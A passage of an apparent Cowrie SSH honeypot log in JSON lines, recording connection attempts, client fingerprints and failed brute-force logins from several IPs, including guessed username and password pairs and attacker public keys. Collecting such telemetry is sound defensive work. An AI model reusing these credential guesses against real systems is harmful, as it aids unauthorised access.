af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:16:59.047927Z","src_ip":"202.145.0.61","session":"1118f3719e4c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"crmadmin","password":"crmadmin","message":"login attempt [crmadmin/crmadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:17:00.004591Z","src_ip":"202.145.0.61","session":"1118f3719e4c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:17:01.240239Z","src_ip":"202.145.0.61","session":"1118f3719e4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":54310,"dst_ip":"10.17.0.5","dst_port":22,"session":"5eab243808ca","protocol":"ssh","message":"New connection: 103.15.226.202:54310 (10.17.0.5:22) [session: 5eab243808ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:17:18.910257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:17:18.915137Z","src_ip":"103.15.226.202","session":"5eab243808ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:17:19.157881Z","src_ip":"103.15.226.202","session":"5eab243808ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ABCabc123!@#","message":"login attempt [root/ABCabc123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:17:19.896325Z","src_ip":"103.15.226.202","session":"5eab243808ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:17:21.143276Z","src_ip":"103.15.226.202","session":"5eab243808ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.222","src_port":37594,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b6767c64a3b","protocol":"ssh","message":"New connection: 103.84.236.222:37594 (10.17.0.5:22) [session: 1b6767c64a3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:17:21.756900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:17:21.761794Z","src_ip":"103.84.236.222","session":"1b6767c64a3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:17:21.995336Z","src_ip":"103.84.236.222","session":"1b6767c64a3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P455w0rd","message":"login attempt [root/P455w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:17:22.958052Z","src_ip":"103.84.236.222","session":"1b6767c64a3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:17:24.194586Z","src_ip":"103.84.236.222","session":"1b6767c64a3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.94.100.232","src_port":55672,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc800c668afe","protocol":"ssh","message":"New connection: 66.94.100.232:55672 (10.17.0.5:22) [session: cc800c668afe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:17:27.121105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:17:27.125879Z","src_ip":"66.94.100.232","session":"cc800c668afe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:17:27.137561Z","src_ip":"66.94.100.232","session":"cc800c668afe","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"34:31:18:00:b9:8b:41:2b:4a:c7:5c:eb:55:45:5d:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqGyiXKeZBtnSYcfWnfVF9F9XBRJlUQ3JaMRcVjR1TANp1YYNZrL8FkJXhvTuTEtdsfnbpLki6v9qXQw6zftaY6PGxA1yUmNTlC5jDG8sLbeOI5eal6Rldwp3xg3eQKUSNtZfsogmXW7NwuFBpyXsWu0CLqhhFFX4V8Y1sp7GPeox+9XoBJxYaCO5di0sHtctr8UMaeeLKkmcU86oIsXk/JQfdh8h/MHWrv1qig+wO+qR8xpeGnqyjbxmRHJZCsptvPML+JUjvS1xPkapSsuYlnUmGhiswGwIvg8y4wN6aX1+8ewHpejhCDxw3nRPHKX+LQuKSS8M0/YfYbmzA3fajw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 34:31:18:00:b9:8b:41:2b:4a:c7:5c:eb:55:45:5d:6c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:17:27.174805Z","src_ip":"66.94.100.232","session":"cc800c668afe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"34:31:18:00:b9:8b:41:2b:4a:c7:5c:eb:55:45:5d:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqGyiXKeZBtnSYcfWnfVF9F9XBRJlUQ3JaMRcVjR1TANp1YYNZrL8FkJXhvTuTEtdsfnbpLki6v9qXQw6zftaY6PGxA1yUmNTlC5jDG8sLbeOI5eal6Rldwp3xg3eQKUSNtZfsogmXW7NwuFBpyXsWu0CLqhhFFX4V8Y1sp7GPeox+9XoBJxYaCO5di0sHtctr8UMaeeLKkmcU86oIsXk/JQfdh8h/MHWrv1qig+wO+qR8xpeGnqyjbxmRHJZCsptvPML+JUjvS1xPkapSsuYlnUmGhiswGwIvg8y4wN6aX1+8ewHpejhCDxw3nRPHKX+LQuKSS8M0/YfYbmzA3fajw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:17:27.179759Z","src_ip":"66.94.100.232","session":"cc800c668afe","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fe:80:fe:31:9c:0c:77:83:75:8e:90:a6:0b:44:73:22","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCl0l2OBhWOc7702xkNR7MiApV2l8tLvvO8ROr1zqskwjMaebD/ip6KVr6zv6miY8/v4FfCh7sYYiW6CQXj+Qo+dsLkGLEyKCQOQduFMT7CmA/SsgphArb2y6Tf2yjASdYe1/MrhRb3gGI6iER0paBHvFueGgHp023NkdBnxHQDuR9JkpTAajDynndToNK7p+PJOL4/lULZxtfpwXenVlPwQh/3xnQX546p/aH3a7c9eqgrRqfGWgGVhhGZ/gzMgT4Z9fVBAgTv8MTViwsuPTBxN8ulwh1yZW5fWEWtunKKpRHlj9FGgtkDleXxBtw/Utjpr7CSvvZMhzYvuNaA/vdl2yr7FiaNuj9PGcWc2CwxA25q/sJjFRfnOyxl1Z86NhxmxVwVQEKBO7ahRR5LjkucQ+nt3sxEp/vPp6ZdOIxn66OQDov9RdD/vQ26iPcJ7KG0p1d8s+j4h1ID6TMLTfEgaGzEUM1pA6TBB3PSr6w5c+l/dNtcgYeocbmmtrgfry2fJdQtlG4ywtQEkeokrnMqLvq6FNrtPHooLKC+NIn+3cGuAHmamuronbeS2ZlgKoU1Vf14E9iZdvLPYPQlzaXihvuSzde4tqIITo4GtvT8yIpelTxR/TF9fAukhCKlTsdnc6ULH1+hwa/bk/W7Sh/FdT02529TKnH4sBy8I+6TIw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fe:80:fe:31:9c:0c:77:83:75:8e:90:a6:0b:44:73:22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:17:27.192300Z","src_ip":"66.94.100.232","session":"cc800c668afe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fe:80:fe:31:9c:0c:77:83:75:8e:90:a6:0b:44:73:22","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCl0l2OBhWOc7702xkNR7MiApV2l8tLvvO8ROr1zqskwjMaebD/ip6KVr6zv6miY8/v4FfCh7sYYiW6CQXj+Qo+dsLkGLEyKCQOQduFMT7CmA/SsgphArb2y6Tf2yjASdYe1/MrhRb3gGI6iER0paBHvFueGgHp023NkdBnxHQDuR9JkpTAajDynndToNK7p+PJOL4/lULZxtfpwXenVlPwQh/3xnQX546p/aH3a7c9eqgrRqfGWgGVhhGZ/gzMgT4Z9fVBAgTv8MTViwsuPTBxN8ulwh1yZW5fWEWtunKKpRHlj9FGgtkDleXxBtw/Utjpr7CSvvZMhzYvuNaA/vdl2yr7FiaNuj9PGcWc2CwxA25q/sJjFRfnOyxl1Z86NhxmxVwVQEKBO7ahRR5LjkucQ+nt3sxEp/vPp6ZdOIxn66OQDov9RdD/vQ26iPcJ7KG0p1d8s+j4h1ID6TMLTfEgaGzEUM1pA6TBB3PSr6w5c+l/dNtcgYeocbmmtrgfry2fJdQtlG4ywtQEkeokrnMqLvq6FNrtPHooLKC+NIn+3cGuAHmamuronbeS2ZlgKoU1Vf14E9iZdvLPYPQlzaXihvuSzde4tqIITo4GtvT8yIpelTxR/TF9fAukhCKlTsdnc6ULH1+hwa/bk/W7Sh/FdT02529TKnH4sBy8I+6TIw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:17:27.196135Z","src_ip":"66.94.100.232","session":"cc800c668afe","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"35:d3:44:5b:5d:60:06:f1:ee:6b:d6:78:2c:20:4a:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCksdz3jzkRucH8unC/KEQH89fupysjaUPTAqZiVYo3QDCTzvcdP8FITCpkerLBEnwyGJekav5zjixbadhWFM9DSRsTVW+FJiXO4ujI42+BzIEl1JxPyW21pAwzKbB+OHwUAZwLQI+RseUVUO6iHD5lhjo/RAeQLwU55HVgqR/KihsKCIVHUodW7CfCqIJnvAmCkOb09HL1VtlACU9pDR2aRL6MnvKNAsMBg88E8vKz5iEha6ffHe8AjAta25v88hxwverCu1/CRDy1LCdKn2XRh5mpJsl2H8Sg50t5/KHA9gVsW+FVl1vGNTBI7Q+HzHyBnbVyGhjfNySsHt+IWEOl/8noaN5UtjggB3t02g4PyPG6/4riQ1XkUGopS7xgyA7YXj7z3tnqXk2Rb7CEYz7p0wiDDBMKidCEid34uq2k7KiubwqqoVZtXG14ey7zpRiucRQzHYAbgDrqHmOF+hA0yuBwHppBXJYi0dxU2SEIasKoZJOwK1cRm5hU6oGcWEpidLXuhAvyvdghcHxjdG4saMqb4swCEymTl++OSR05wgfajDhb87cBiVWSAqYSpgjlCV4MZ5maXpsiZU97MB6bFTK9n1OWdSMCxRR3Qr90lfl9+cRmQVCUVFTxSyJmxczEdo6KVHh6VYkTo9q43ssCiq8dOipDMYqeTbFOaHqRiw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 35:d3:44:5b:5d:60:06:f1:ee:6b:d6:78:2c:20:4a:fe","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:17:27.213927Z","src_ip":"66.94.100.232","session":"cc800c668afe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"35:d3:44:5b:5d:60:06:f1:ee:6b:d6:78:2c:20:4a:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCksdz3jzkRucH8unC/KEQH89fupysjaUPTAqZiVYo3QDCTzvcdP8FITCpkerLBEnwyGJekav5zjixbadhWFM9DSRsTVW+FJiXO4ujI42+BzIEl1JxPyW21pAwzKbB+OHwUAZwLQI+RseUVUO6iHD5lhjo/RAeQLwU55HVgqR/KihsKCIVHUodW7CfCqIJnvAmCkOb09HL1VtlACU9pDR2aRL6MnvKNAsMBg88E8vKz5iEha6ffHe8AjAta25v88hxwverCu1/CRDy1LCdKn2XRh5mpJsl2H8Sg50t5/KHA9gVsW+FVl1vGNTBI7Q+HzHyBnbVyGhjfNySsHt+IWEOl/8noaN5UtjggB3t02g4PyPG6/4riQ1XkUGopS7xgyA7YXj7z3tnqXk2Rb7CEYz7p0wiDDBMKidCEid34uq2k7KiubwqqoVZtXG14ey7zpRiucRQzHYAbgDrqHmOF+hA0yuBwHppBXJYi0dxU2SEIasKoZJOwK1cRm5hU6oGcWEpidLXuhAvyvdghcHxjdG4saMqb4swCEymTl++OSR05wgfajDhb87cBiVWSAqYSpgjlCV4MZ5maXpsiZU97MB6bFTK9n1OWdSMCxRR3Qr90lfl9+cRmQVCUVFTxSyJmxczEdo6KVHh6VYkTo9q43ssCiq8dOipDMYqeTbFOaHqRiw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:17:27.217977Z","src_ip":"66.94.100.232","session":"cc800c668afe","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7b:ff:51:cf:f2:d5:b3:69:e3:cc:d8:77:88:45:34:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDH4QWG3kMnqJpUGoYajtpVvSahnYI/y3saHU/KvgLS9qOPVD2ihghKQIUtTs10bjk4sdWMvrqa5UkNascvoUhvAa3wEAFVSzDBygwTrPKnk4cQGr+quwAuQEMV5uk6orZtOh1pgb1O/OYXwT8dAnAvMU8zOQiowNM82wrmygCj1GGnY2i/jCoxErgKugj059mi/Oo0nEeN82ioBn3+oAPID0j6gxSjTeR5+1cfvWboZLM0EEznZl72w+lFn/lzZ1G/swug9b4v+7SOtNlcDL+wCWRtZesxYfLDQA3kGgjz5vXa6ufdNff3eyqIZnIlxTB9IhtYU4J1EMAueQeKI52LWSvOZWsogtMKMtH8/tVOvCjLPmUZre7i4SbjLRdOyjsVxyZY34vEsShjADP3DZtU0NoBR1Nu80+wrT5T8zFfOTll+rJJM3qbVTOz6hl3TC0EG+/i83w0CDO837j9QMrfPsBz7iIaNk4CgoMA9Iu6J0qHz7IIncmw99n2GXdS3oNOc7C0pK1NFF5O6iMorgLDi/U66C6ERL4OcH/EpsNIKXchgX0yt3nOiywpS7Hsy82RDDBL7IVYlCn0OK9QqfwMd1IFDDvYYTToKGvVFP6vk9RmGsZCHxclplN8xFhUfKVJhbb2UEJi0uUPAA9Eb5OWMt9tSLpkhoVfhiB6ZP6cpw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7b:ff:51:cf:f2:d5:b3:69:e3:cc:d8:77:88:45:34:9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:17:27.233931Z","src_ip":"66.94.100.232","session":"cc800c668afe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7b:ff:51:cf:f2:d5:b3:69:e3:cc:d8:77:88:45:34:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDH4QWG3kMnqJpUGoYajtpVvSahnYI/y3saHU/KvgLS9qOPVD2ihghKQIUtTs10bjk4sdWMvrqa5UkNascvoUhvAa3wEAFVSzDBygwTrPKnk4cQGr+quwAuQEMV5uk6orZtOh1pgb1O/OYXwT8dAnAvMU8zOQiowNM82wrmygCj1GGnY2i/jCoxErgKugj059mi/Oo0nEeN82ioBn3+oAPID0j6gxSjTeR5+1cfvWboZLM0EEznZl72w+lFn/lzZ1G/swug9b4v+7SOtNlcDL+wCWRtZesxYfLDQA3kGgjz5vXa6ufdNff3eyqIZnIlxTB9IhtYU4J1EMAueQeKI52LWSvOZWsogtMKMtH8/tVOvCjLPmUZre7i4SbjLRdOyjsVxyZY34vEsShjADP3DZtU0NoBR1Nu80+wrT5T8zFfOTll+rJJM3qbVTOz6hl3TC0EG+/i83w0CDO837j9QMrfPsBz7iIaNk4CgoMA9Iu6J0qHz7IIncmw99n2GXdS3oNOc7C0pK1NFF5O6iMorgLDi/U66C6ERL4OcH/EpsNIKXchgX0yt3nOiywpS7Hsy82RDDBL7IVYlCn0OK9QqfwMd1IFDDvYYTToKGvVFP6vk9RmGsZCHxclplN8xFhUfKVJhbb2UEJi0uUPAA9Eb5OWMt9tSLpkhoVfhiB6ZP6cpw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:17:27.237576Z","src_ip":"66.94.100.232","session":"cc800c668afe","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"27:29:28:da:76:dd:ef:b7:44:f6:c9:66:d6:83:e1:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDljTlZZHchtKWmJzWUI+Qz9XTXhukULTxaKySd5CxvwATTpBwloIYnMzDLkwP95Ikthyv1ZD82kLPvkrnwiuMQ8BAum6xLWUbOcKRqJQv2PlODvHhronwf0T9DuF9AqDKwMh+h3/Z3O3UGlIIE4YM4yKlD8/kfWhHu06FFPyMEn/l9RxsL8u8R6q4G8aLH24u+2v0hK+DsM18UhK7jnJts/ebxODs++wf+pa1I9gqi5z8nVmxktdsljOp9HxZ1GcY6dK/SVaPvDJz5TAT1ll9ET16RV6ZXM3Ds3y9ps3/o+4Sm2d2JSTXsBL9VGLO9TnOZRh0V/Kc/UlKYXlvvps02wnyXprvD29HIG5j9/My0UOfq2kiDwF0ourxyVLcZvS/kvYKDdSs0kQH7OiWznsyyGobMplqJ11WQgt795qWqDUtKvtd3ddvdoihDQ+pHOBpWRdLPjIdTnMtL6n/L1nCyrmb/eA5mOBUJbNC+TZr9AQkzQWYyuf7dJh32JTNy4QUNIK9B8YrepzQ1y3TuKpCn8ZHKGz9q6Ri+pVist8rOuYjXbmJxGHEaVxauFKgxYDykcNmpUqcf1D/e90PFHtA4jP7dHDr1rWHGtsia9GeCkOxjLvF42U92ii31Xo4dXZ65w1g5bTTLjfkBfCy1mTEiJr7Ibkoym0oDjw2wE1eX9Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 27:29:28:da:76:dd:ef:b7:44:f6:c9:66:d6:83:e1:9c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:17:27.320048Z","src_ip":"66.94.100.232","session":"cc800c668afe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"27:29:28:da:76:dd:ef:b7:44:f6:c9:66:d6:83:e1:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDljTlZZHchtKWmJzWUI+Qz9XTXhukULTxaKySd5CxvwATTpBwloIYnMzDLkwP95Ikthyv1ZD82kLPvkrnwiuMQ8BAum6xLWUbOcKRqJQv2PlODvHhronwf0T9DuF9AqDKwMh+h3/Z3O3UGlIIE4YM4yKlD8/kfWhHu06FFPyMEn/l9RxsL8u8R6q4G8aLH24u+2v0hK+DsM18UhK7jnJts/ebxODs++wf+pa1I9gqi5z8nVmxktdsljOp9HxZ1GcY6dK/SVaPvDJz5TAT1ll9ET16RV6ZXM3Ds3y9ps3/o+4Sm2d2JSTXsBL9VGLO9TnOZRh0V/Kc/UlKYXlvvps02wnyXprvD29HIG5j9/My0UOfq2kiDwF0ourxyVLcZvS/kvYKDdSs0kQH7OiWznsyyGobMplqJ11WQgt795qWqDUtKvtd3ddvdoihDQ+pHOBpWRdLPjIdTnMtL6n/L1nCyrmb/eA5mOBUJbNC+TZr9AQkzQWYyuf7dJh32JTNy4QUNIK9B8YrepzQ1y3TuKpCn8ZHKGz9q6Ri+pVist8rOuYjXbmJxGHEaVxauFKgxYDykcNmpUqcf1D/e90PFHtA4jP7dHDr1rWHGtsia9GeCkOxjLvF42U92ii31Xo4dXZ65w1g5bTTLjfkBfCy1mTEiJr7Ibkoym0oDjw2wE1eX9Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:17:27.324956Z","src_ip":"66.94.100.232","session":"cc800c668afe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:17:27.371920Z","src_ip":"66.94.100.232","session":"cc800c668afe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.222","src_port":54092,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d2062d56eee","protocol":"ssh","message":"New connection: 103.84.236.222:54092 (10.17.0.5:22) [session: 5d2062d56eee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:18:19.465589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:18:19.471874Z","src_ip":"103.84.236.222","session":"5d2062d56eee","protocol":"ssh"}
